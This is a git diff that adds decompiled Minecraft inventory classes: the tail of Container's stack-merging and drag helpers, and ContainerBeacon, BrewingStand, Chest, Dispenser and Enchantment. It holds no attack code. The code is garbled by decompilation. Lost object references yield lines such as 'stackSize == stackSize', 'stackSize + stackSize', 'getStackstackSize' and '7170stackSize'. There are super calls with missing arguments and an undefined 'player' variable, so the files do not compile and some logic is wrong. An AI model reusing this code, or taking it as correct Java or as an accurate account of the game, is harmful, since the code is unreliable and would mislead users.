+    int var6 = startIndex;
+    
+    if (useEndIndex)
+    {
+      var6 = endIndex - 1;
+    }
+    
+
+
+
+    if (stack.isStackable())
+    {
+      while ((stackSize > 0) && (((!useEndIndex) && (var6 < endIndex)) || ((useEndIndex) && (var6 >= startIndex))))
+      {
+        Slot var7 = (Slot)inventorySlots.get(var6);
+        ItemStack var8 = var7.getStack();
+        
+        if ((var8 != null) && (var8.getItem() == stack.getItem()) && ((!stack.getHasSubtypes()) || (stack.getMetadata() == var8.getMetadata())) && (ItemStack.areItemStackTagsEqual(stack, var8)))
+        {
+          int var9 = stackSize + stackSize;
+          
+          if (var9 <= stack.getMaxStackSize())
+          {
+            stackSize = 0;
+            stackSize = var9;
+            var7.onSlotChanged();
+            var5 = true;
+          }
+          else if (stackSize < stack.getMaxStackSize())
+          {
+            stackSize -= stack.getMaxStackSize() - stackSize;
+            stackSize = stack.getMaxStackSize();
+            var7.onSlotChanged();
+            var5 = true;
+          }
+        }
+        
+        if (useEndIndex)
+        {
+          var6--;
+        }
+        else
+        {
+          var6++;
+        }
+      }
+    }
+    
+    if (stackSize > 0)
+    {
+      if (useEndIndex)
+      {
+        var6 = endIndex - 1;
+      }
+      else
+      {
+        var6 = startIndex;
+      }
+      
+      while (((!useEndIndex) && (var6 < endIndex)) || ((useEndIndex) && (var6 >= startIndex)))
+      {
+        Slot var7 = (Slot)inventorySlots.get(var6);
+        ItemStack var8 = var7.getStack();
+        
+        if (var8 == null)
+        {
+          var7.putStack(stack.copy());
+          var7.onSlotChanged();
+          stackSize = 0;
+          var5 = true;
+          break;
+        }
+        
+        if (useEndIndex)
+        {
+          var6--;
+        }
+        else
+        {
+          var6++;
+        }
+      }
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  public static int extractDragMode(int p_94529_0_)
+  {
+    return p_94529_0_ >> 2 & 0x3;
+  }
+  
+
+
+
+  public static int getDragEvent(int p_94532_0_)
+  {
+    return p_94532_0_ & 0x3;
+  }
+  
+  public static int func_94534_d(int p_94534_0_, int p_94534_1_)
+  {
+    return p_94534_0_ & 0x3 | (p_94534_1_ & 0x3) << 2;
+  }
+  
+  public static boolean func_180610_a(int p_180610_0_, EntityPlayer p_180610_1_)
+  {
+    return p_180610_0_ == 0;
+  }
+  
+
+
+
+  protected void resetDrag()
+  {
+    dragEvent = 0;
+    dragSlots.clear();
+  }
+  
+
+
+
+  public static boolean canAddItemToSlot(Slot slotIn, ItemStack stack, boolean stackSizeMatters)
+  {
+    boolean var3 = (slotIn == null) || (!slotIn.getHasStack());
+    
+    if ((slotIn != null) && (slotIn.getHasStack()) && (stack != null) && (stack.isItemEqual(slotIn.getStack())) && (ItemStack.areItemStackTagsEqual(slotIn.getStack(), stack)))
+    {
+      int var10002 = stackSizeMatters ? 0 : stackSize;
+      var3 |= getStackstackSize + var10002 <= stack.getMaxStackSize();
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+  public static void computeStackSize(Set p_94525_0_, int p_94525_1_, ItemStack p_94525_2_, int p_94525_3_)
+  {
+    switch (p_94525_1_)
+    {
+    case 0: 
+      stackSize = MathHelper.floor_float(stackSize / p_94525_0_.size());
+      break;
+    
+    case 1: 
+      stackSize = 1;
+      break;
+    
+    case 2: 
+      stackSize = p_94525_2_.getItem().getItemStackLimit(); }
+    ItemStack tmp71_70 = p_94525_2_;
+    
+    7170stackSize = (7170stackSize + p_94525_3_);
+  }
+  
+
+
+
+
+  public boolean canDragIntoSlot(Slot p_94531_1_)
+  {
+    return true;
+  }
+  
+
+
+
+  public static int calcRedstoneFromInventory(TileEntity te)
+  {
+    return (te instanceof IInventory) ? calcRedstoneFromInventory((IInventory)te) : 0;
+  }
+  
+  public static int calcRedstoneFromInventory(IInventory inv)
+  {
+    if (inv == null)
+    {
+      return 0;
+    }
+    
+
+    int var1 = 0;
+    float var2 = 0.0F;
+    
+    for (int var3 = 0; var3 < inv.getSizeInventory(); var3++)
+    {
+      ItemStack var4 = inv.getStackInSlot(var3);
+      
+      if (var4 != null)
+      {
+        var2 += stackSize / Math.min(inv.getInventoryStackLimit(), var4.getMaxStackSize());
+        var1++;
+      }
+    }
+    
+    var2 /= inv.getSizeInventory();
+    return MathHelper.floor_float(var2 * 14.0F) + (var1 > 0 ? 1 : 0);
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerBeacon.java b/src/minecraft/net/minecraft/inventory/ContainerBeacon.java
new file mode 100644
index 0000000..0bcc9d7
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerBeacon.java
@@ -0,0 +1,147 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+
+
+
+public class ContainerBeacon
+  extends Container
+{
+  private IInventory tileBeacon;
+  private final BeaconSlot beaconSlot;
+  private static final String __OBFID = "CL_00001735";
+  
+  public ContainerBeacon(IInventory p_i45804_1_, IInventory p_i45804_2_)
+  {
+    tileBeacon = p_i45804_2_;
+    addSlotToContainer(this.beaconSlot = new BeaconSlot(p_i45804_2_, 0, 136, 110));
+    byte var3 = 36;
+    short var4 = 137;
+    
+
+    for (int var5 = 0; var5 < 3; var5++)
+    {
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        addSlotToContainer(new Slot(p_i45804_1_, var6 + var5 * 9 + 9, var3 + var6 * 18, var4 + var5 * 18));
+      }
+    }
+    
+    for (var5 = 0; var5 < 9; var5++)
+    {
+      addSlotToContainer(new Slot(p_i45804_1_, var5, var3 + var5 * 18, 58 + var4));
+    }
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+    p_75132_1_.func_175173_a(this, tileBeacon);
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_)
+  {
+    tileBeacon.setField(p_75137_1_, p_75137_2_);
+  }
+  
+  public IInventory func_180611_e()
+  {
+    return tileBeacon;
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return tileBeacon.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 0)
+      {
+        if (!mergeItemStack(var5, 1, 37, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((!beaconSlot.getHasStack()) && (beaconSlot.isItemValid(var5)) && (stackSize == 1))
+      {
+        if (!mergeItemStack(var5, 0, 1, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 1) && (index < 28))
+      {
+        if (!mergeItemStack(var5, 28, 37, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 28) && (index < 37))
+      {
+        if (!mergeItemStack(var5, 1, 28, false))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 1, 37, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+  class BeaconSlot extends Slot
+  {
+    private static final String __OBFID = "CL_00001736";
+    
+    public BeaconSlot(IInventory p_i1801_2_, int p_i1801_3_, int p_i1801_4_, int p_i1801_5_)
+    {
+      super(p_i1801_3_, p_i1801_4_, p_i1801_5_);
+    }
+    
+    public boolean isItemValid(ItemStack stack)
+    {
+      return stack != null;
+    }
+    
+    public int getSlotStackLimit()
+    {
+      return 1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerBrewingStand.java b/src/minecraft/net/minecraft/inventory/ContainerBrewingStand.java
new file mode 100644
index 0000000..f788910
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerBrewingStand.java
@@ -0,0 +1,211 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.stats.AchievementList;
+
+public class ContainerBrewingStand extends Container
+{
+  private IInventory tileBrewingStand;
+  private final Slot theSlot;
+  private int brewTime;
+  private static final String __OBFID = "CL_00001737";
+  
+  public ContainerBrewingStand(InventoryPlayer p_i45802_1_, IInventory p_i45802_2_)
+  {
+    tileBrewingStand = p_i45802_2_;
+    addSlotToContainer(new Potion(player, p_i45802_2_, 0, 56, 46));
+    addSlotToContainer(new Potion(player, p_i45802_2_, 1, 79, 53));
+    addSlotToContainer(new Potion(player, p_i45802_2_, 2, 102, 46));
+    theSlot = addSlotToContainer(new Ingredient(p_i45802_2_, 3, 79, 17));
+    
+
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      for (int var4 = 0; var4 < 9; var4++)
+      {
+        addSlotToContainer(new Slot(p_i45802_1_, var4 + var3 * 9 + 9, 8 + var4 * 18, 84 + var3 * 18));
+      }
+    }
+    
+    for (var3 = 0; var3 < 9; var3++)
+    {
+      addSlotToContainer(new Slot(p_i45802_1_, var3, 8 + var3 * 18, 142));
+    }
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+    p_75132_1_.func_175173_a(this, tileBrewingStand);
+  }
+  
+
+
+
+  public void detectAndSendChanges()
+  {
+    super.detectAndSendChanges();
+    
+    for (int var1 = 0; var1 < crafters.size(); var1++)
+    {
+      ICrafting var2 = (ICrafting)crafters.get(var1);
+      
+      if (brewTime != tileBrewingStand.getField(0))
+      {
+        var2.sendProgressBarUpdate(this, 0, tileBrewingStand.getField(0));
+      }
+    }
+    
+    brewTime = tileBrewingStand.getField(0);
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_)
+  {
+    tileBrewingStand.setField(p_75137_1_, p_75137_2_);
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return tileBrewingStand.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (((index < 0) || (index > 2)) && (index != 3))
+      {
+        if ((!theSlot.getHasStack()) && (theSlot.isItemValid(var5)))
+        {
+          if (!mergeItemStack(var5, 3, 4, false))
+          {
+            return null;
+          }
+        }
+        else if (Potion.canHoldPotion(var3))
+        {
+          if (!mergeItemStack(var5, 0, 3, false))
+          {
+            return null;
+          }
+        }
+        else if ((index >= 4) && (index < 31))
+        {
+          if (!mergeItemStack(var5, 31, 40, false))
+          {
+            return null;
+          }
+        }
+        else if ((index >= 31) && (index < 40))
+        {
+          if (!mergeItemStack(var5, 4, 31, false))
+          {
+            return null;
+          }
+        }
+        else if (!mergeItemStack(var5, 4, 40, false))
+        {
+          return null;
+        }
+      }
+      else
+      {
+        if (!mergeItemStack(var5, 4, 40, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+  class Ingredient extends Slot
+  {
+    private static final String __OBFID = "CL_00001738";
+    
+    public Ingredient(IInventory p_i1803_2_, int p_i1803_3_, int p_i1803_4_, int p_i1803_5_)
+    {
+      super(p_i1803_3_, p_i1803_4_, p_i1803_5_);
+    }
+    
+    public boolean isItemValid(ItemStack stack)
+    {
+      return stack != null ? stack.getItem().isPotionIngredient(stack) : false;
+    }
+    
+    public int getSlotStackLimit()
+    {
+      return 64;
+    }
+  }
+  
+  static class Potion extends Slot
+  {
+    private EntityPlayer player;
+    private static final String __OBFID = "CL_00001740";
+    
+    public Potion(EntityPlayer p_i1804_1_, IInventory p_i1804_2_, int p_i1804_3_, int p_i1804_4_, int p_i1804_5_)
+    {
+      super(p_i1804_3_, p_i1804_4_, p_i1804_5_);
+      player = p_i1804_1_;
+    }
+    
+    public boolean isItemValid(ItemStack stack)
+    {
+      return canHoldPotion(stack);
+    }
+    
+    public int getSlotStackLimit()
+    {
+      return 1;
+    }
+    
+    public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+    {
+      if ((stack.getItem() == Items.potionitem) && (stack.getMetadata() > 0))
+      {
+        player.triggerAchievement(AchievementList.potion);
+      }
+      
+      super.onPickupFromSlot(playerIn, stack);
+    }
+    
+    public static boolean canHoldPotion(ItemStack p_75243_0_)
+    {
+      return (p_75243_0_ != null) && ((p_75243_0_.getItem() == Items.potionitem) || (p_75243_0_.getItem() == Items.glass_bottle));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerChest.java b/src/minecraft/net/minecraft/inventory/ContainerChest.java
new file mode 100644
index 0000000..ca3454e
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerChest.java
@@ -0,0 +1,102 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+public class ContainerChest extends Container
+{
+  private IInventory lowerChestInventory;
+  private int numRows;
+  private static final String __OBFID = "CL_00001742";
+  
+  public ContainerChest(IInventory p_i45801_1_, IInventory p_i45801_2_, EntityPlayer p_i45801_3_)
+  {
+    lowerChestInventory = p_i45801_2_;
+    numRows = (p_i45801_2_.getSizeInventory() / 9);
+    p_i45801_2_.openInventory(p_i45801_3_);
+    int var4 = (numRows - 4) * 18;
+    
+
+
+    for (int var5 = 0; var5 < numRows; var5++)
+    {
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        addSlotToContainer(new Slot(p_i45801_2_, var6 + var5 * 9, 8 + var6 * 18, 18 + var5 * 18));
+      }
+    }
+    
+    for (var5 = 0; var5 < 3; var5++)
+    {
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        addSlotToContainer(new Slot(p_i45801_1_, var6 + var5 * 9 + 9, 8 + var6 * 18, 103 + var5 * 18 + var4));
+      }
+    }
+    
+    for (var5 = 0; var5 < 9; var5++)
+    {
+      addSlotToContainer(new Slot(p_i45801_1_, var5, 8 + var5 * 18, 161 + var4));
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return lowerChestInventory.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index < numRows * 9)
+      {
+        if (!mergeItemStack(var5, numRows * 9, inventorySlots.size(), true))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 0, numRows * 9, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    lowerChestInventory.closeInventory(p_75134_1_);
+  }
+  
+
+
+
+  public IInventory getLowerChestInventory()
+  {
+    return lowerChestInventory;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerDispenser.java b/src/minecraft/net/minecraft/inventory/ContainerDispenser.java
new file mode 100644
index 0000000..8f5afa1
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerDispenser.java
@@ -0,0 +1,88 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+public class ContainerDispenser extends Container
+{
+  private IInventory field_178146_a;
+  private static final String __OBFID = "CL_00001763";
+  
+  public ContainerDispenser(IInventory p_i45799_1_, IInventory p_i45799_2_)
+  {
+    field_178146_a = p_i45799_2_;
+    
+
+
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      for (int var4 = 0; var4 < 3; var4++)
+      {
+        addSlotToContainer(new Slot(p_i45799_2_, var4 + var3 * 3, 62 + var4 * 18, 17 + var3 * 18));
+      }
+    }
+    
+    for (var3 = 0; var3 < 3; var3++)
+    {
+      for (int var4 = 0; var4 < 9; var4++)
+      {
+        addSlotToContainer(new Slot(p_i45799_1_, var4 + var3 * 9 + 9, 8 + var4 * 18, 84 + var3 * 18));
+      }
+    }
+    
+    for (var3 = 0; var3 < 9; var3++)
+    {
+      addSlotToContainer(new Slot(p_i45799_1_, var3, 8 + var3 * 18, 142));
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return field_178146_a.isUseableByPlayer(playerIn);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index < 9)
+      {
+        if (!mergeItemStack(var5, 9, 45, true))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 0, 9, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerEnchantment.java b/src/minecraft/net/minecraft/inventory/ContainerEnchantment.java
new file mode 100644
index 0000000..b22758a
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerEnchantment.java
@@ -0,0 +1,430 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentData;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class ContainerEnchantment
+  extends Container
+{
+  public IInventory tableInventory;
+  private World worldPointer;
+  private BlockPos field_178150_j;
+  private Random rand;
+  public int field_178149_f;
+  public int[] enchantLevels;
+  public int[] field_178151_h;
+  private static final String __OBFID = "CL_00001745";
+  
+  public ContainerEnchantment(InventoryPlayer p_i45797_1_, World worldIn)
+  {
+    this(p_i45797_1_, worldIn, BlockPos.ORIGIN);
+  }
+  
+  public ContainerEnchantment(InventoryPlayer p_i45798_1_, World worldIn, BlockPos p_i45798_3_)
+  {
+    tableInventory = new InventoryBasic("Enchant", true, 2)
+    {
+      private static final String __OBFID = "CL_00001746";
+      
+      public int getInventoryStackLimit() {
+        return 64;
+      }
+      
+      public void markDirty() {
+        super.markDirty();
+        onCraftMatrixChanged(this);
+      }
+    };
+    rand = new Random();
+    enchantLevels = new int[3];
+    field_178151_h = new int[] { -1, -1, -1 };
+    worldPointer = worldIn;
+    field_178150_j = p_i45798_3_;
+    field_178149_f = player.func_175138_ci();
+    addSlotToContainer(new Slot(tableInventory, 0, 15, 47)
+    {
+      private static final String __OBFID = "CL_00001747";
+      
+      public boolean isItemValid(ItemStack stack) {
+        return true;
+      }
+      
+      public int getSlotStackLimit() {
+        return 1;
+      }
+    });
+    addSlotToContainer(new Slot(tableInventory, 1, 35, 47)
+    {
+      private static final String __OBFID = "CL_00002185";
+      
+      public boolean isItemValid(ItemStack stack) {
+        return (stack.getItem() == Items.dye) && (EnumDyeColor.func_176766_a(stack.getMetadata()) == EnumDyeColor.BLUE);
+      }
+    });
+    
+
+    for (int var4 = 0; var4 < 3; var4++)
+    {
+      for (int var5 = 0; var5 < 9; var5++)
+      {
+        addSlotToContainer(new Slot(p_i45798_1_, var5 + var4 * 9 + 9, 8 + var5 * 18, 84 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 9; var4++)
+    {
+      addSlotToContainer(new Slot(p_i45798_1_, var4, 8 + var4 * 18, 142));
+    }
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+    p_75132_1_.sendProgressBarUpdate(this, 0, enchantLevels[0]);
+    p_75132_1_.sendProgressBarUpdate(this, 1, enchantLevels[1]);
+    p_75132_1_.sendProgressBarUpdate(this, 2, enchantLevels[2]);
+    p_75132_1_.sendProgressBarUpdate(this, 3, field_178149_f & 0xFFFFFFF0);
+    p_75132_1_.sendProgressBarUpdate(this, 4, field_178151_h[0]);
+    p_75132_1_.sendProgressBarUpdate(this, 5, field_178151_h[1]);
+    p_75132_1_.sendProgressBarUpdate(this, 6, field_178151_h[2]);
+  }
+  
+
+
+
+  public void detectAndSendChanges()
+  {
+    super.detectAndSendChanges();
+    
+    for (int var1 = 0; var1 < crafters.size(); var1++)
+    {
+      ICrafting var2 = (ICrafting)crafters.get(var1);
+      var2.sendProgressBarUpdate(this, 0, enchantLevels[0]);
+      var2.sendProgressBarUpdate(this, 1, enchantLevels[1]);
+      var2.sendProgressBarUpdate(this, 2, enchantLevels[2]);
+      var2.sendProgressBarUpdate(this, 3, field_178149_f & 0xFFFFFFF0);
+      var2.sendProgressBarUpdate(this, 4, field_178151_h[0]);
+      var2.sendProgressBarUpdate(this, 5, field_178151_h[1]);
+      var2.sendProgressBarUpdate(this, 6, field_178151_h[2]);
+    }
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_)
+  {
+    if ((p_75137_1_ >= 0) && (p_75137_1_ <= 2))
+    {
+      enchantLevels[p_75137_1_] = p_75137_2_;
+    }
+    else if (p_75137_1_ == 3)
+    {
+      field_178149_f = p_75137_2_;
+    }
+    else if ((p_75137_1_ >= 4) && (p_75137_1_ <= 6))
+    {
+      field_178151_h[(p_75137_1_ - 4)] = p_75137_2_;
+    }
+    else
+    {
+      super.updateProgressBar(p_75137_1_, p_75137_2_);
+    }
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    if (p_75130_1_ == tableInventory)
+    {
+      ItemStack var2 = p_75130_1_.getStackInSlot(0);
+      
+
+      if ((var2 != null) && (var2.isItemEnchantable()))
+      {
+        if (!worldPointer.isRemote)
+        {
+          int var3 = 0;
+          
+
+          for (int var4 = -1; var4 <= 1; var4++)
+          {
+            for (int var5 = -1; var5 <= 1; var5++)
+            {
+              if (((var4 != 0) || (var5 != 0)) && (worldPointer.isAirBlock(field_178150_j.add(var5, 0, var4))) && (worldPointer.isAirBlock(field_178150_j.add(var5, 1, var4))))
+              {
+                if (worldPointer.getBlockState(field_178150_j.add(var5 * 2, 0, var4 * 2)).getBlock() == Blocks.bookshelf)
+                {
+                  var3++;
+                }
+                
+                if (worldPointer.getBlockState(field_178150_j.add(var5 * 2, 1, var4 * 2)).getBlock() == Blocks.bookshelf)
+                {
+                  var3++;
+                }
+                
+                if ((var5 != 0) && (var4 != 0))
+                {
+                  if (worldPointer.getBlockState(field_178150_j.add(var5 * 2, 0, var4)).getBlock() == Blocks.bookshelf)
+                  {
+                    var3++;
+                  }
+                  
+                  if (worldPointer.getBlockState(field_178150_j.add(var5 * 2, 1, var4)).getBlock() == Blocks.bookshelf)
+                  {
+                    var3++;
+                  }
+                  
+                  if (worldPointer.getBlockState(field_178150_j.add(var5, 0, var4 * 2)).getBlock() == Blocks.bookshelf)
+                  {
+                    var3++;
+                  }
+                  
+                  if (worldPointer.getBlockState(field_178150_j.add(var5, 1, var4 * 2)).getBlock() == Blocks.bookshelf)
+                  {
+                    var3++;
+                  }
+                }
+              }
+            }
+          }
+          
+          rand.setSeed(field_178149_f);
+          
+          for (var4 = 0; var4 < 3; var4++)
+          {
+            enchantLevels[var4] = EnchantmentHelper.calcItemStackEnchantability(rand, var4, var3, var2);
+            field_178151_h[var4] = -1;
+            
+            if (enchantLevels[var4] < var4 + 1)
+            {
+              enchantLevels[var4] = 0;
+            }
+          }
+          
+          for (var4 = 0; var4 < 3; var4++)
+          {
+            if (enchantLevels[var4] > 0)
+            {
+              List var7 = func_178148_a(var2, var4, enchantLevels[var4]);
+              
+              if ((var7 != null) && (!var7.isEmpty()))
+              {
+                EnchantmentData var6 = (EnchantmentData)var7.get(rand.nextInt(var7.size()));
+                field_178151_h[var4] = (enchantmentobj.effectId | enchantmentLevel << 8);
+              }
+            }
+          }
+          
+          detectAndSendChanges();
+        }
+        
+      }
+      else {
+        for (int var3 = 0; var3 < 3; var3++)
+        {
+          enchantLevels[var3] = 0;
+          field_178151_h[var3] = -1;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean enchantItem(EntityPlayer playerIn, int id)
+  {
+    ItemStack var3 = tableInventory.getStackInSlot(0);
+    ItemStack var4 = tableInventory.getStackInSlot(1);
+    int var5 = id + 1;
+    
+    if (((var4 == null) || (stackSize < var5)) && (!capabilities.isCreativeMode))
+    {
+      return false;
+    }
+    if ((enchantLevels[id] > 0) && (var3 != null) && (((experienceLevel >= var5) && (experienceLevel >= enchantLevels[id])) || (capabilities.isCreativeMode)))
+    {
+      if (!worldPointer.isRemote)
+      {
+        List var6 = func_178148_a(var3, id, enchantLevels[id]);
+        boolean var7 = var3.getItem() == Items.book;
+        
+        if (var6 != null)
+        {
+          playerIn.func_71013_b(var5);
+          
+          if (var7)
+          {
+            var3.setItem(Items.enchanted_book);
+          }
+          
+          for (int var8 = 0; var8 < var6.size(); var8++)
+          {
+            EnchantmentData var9 = (EnchantmentData)var6.get(var8);
+            
+            if (var7)
+            {
+              Items.enchanted_book.addEnchantment(var3, var9);
+            }
+            else
+            {
+              var3.addEnchantment(enchantmentobj, enchantmentLevel);
+            }
+          }
+          
+          if (!capabilities.isCreativeMode)
+          {
+            stackSize -= var5;
+            
+            if (stackSize <= 0)
+            {
+              tableInventory.setInventorySlotContents(1, null);
+            }
+          }
+          
+          tableInventory.markDirty();
+          field_178149_f = playerIn.func_175138_ci();
+          onCraftMatrixChanged(tableInventory);
+        }
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  private List func_178148_a(ItemStack p_178148_1_, int p_178148_2_, int p_178148_3_)
+  {
+    rand.setSeed(field_178149_f + p_178148_2_);
+    List var4 = EnchantmentHelper.buildEnchantmentList(rand, p_178148_1_, p_178148_3_);
+    
+    if ((p_178148_1_.getItem() == Items.book) && (var4 != null) && (var4.size() > 1))
+    {
+      var4.remove(rand.nextInt(var4.size()));
+    }
+    
+    return var4;
+  }
+  
+  public int func_178147_e()
+  {
+    ItemStack var1 = tableInventory.getStackInSlot(1);
+    return var1 == null ? 0 : stackSize;
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    
+    if (!worldPointer.isRemote)
+    {
+      for (int var2 = 0; var2 < tableInventory.getSizeInventory(); var2++)
+      {
+        ItemStack var3 = tableInventory.getStackInSlotOnClosing(var2);
+        
+        if (var3 != null)
+        {
+          p_75134_1_.dropPlayerItemWithRandomChoice(var3, false);
+        }
+      }
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return worldPointer.getBlockState(field_178150_j).getBlock() == Blocks.enchanting_table;
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 0)
+      {
+        if (!mergeItemStack(var5, 2, 38, true))
+        {
+          return null;
+        }
+      }
+      else if (index == 1)
+      {
+        if (!mergeItemStack(var5, 2, 38, true))
+        {
+          return null;
+        }
+      }
+      else if ((var5.getItem() == Items.dye) && (EnumDyeColor.func_176766_a(var5.getMetadata()) == EnumDyeColor.BLUE))
+      {
+        if (!mergeItemStack(var5, 1, 2, true))
+        {
+          return null;
+        }
+      }
+      else
+      {
+        if ((((Slot)inventorySlots.get(0)).getHasStack()) || (!((Slot)inventorySlots.get(0)).isItemValid(var5)))
+        {
+          return null;
+        }
+        
+        if ((var5.hasTagCompound()) && (stackSize == 1))
+        {
+          ((Slot)inventorySlots.get(0)).putStack(var5.copy());
+          stackSize = 0;
+        }
+        else if (stackSize >= 1)
+        {
+          ((Slot)inventorySlots.get(0)).putStack(new ItemStack(var5.getItem(), 1, var5.getMetadata()));
+          stackSize -= 1;
+        }
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+}
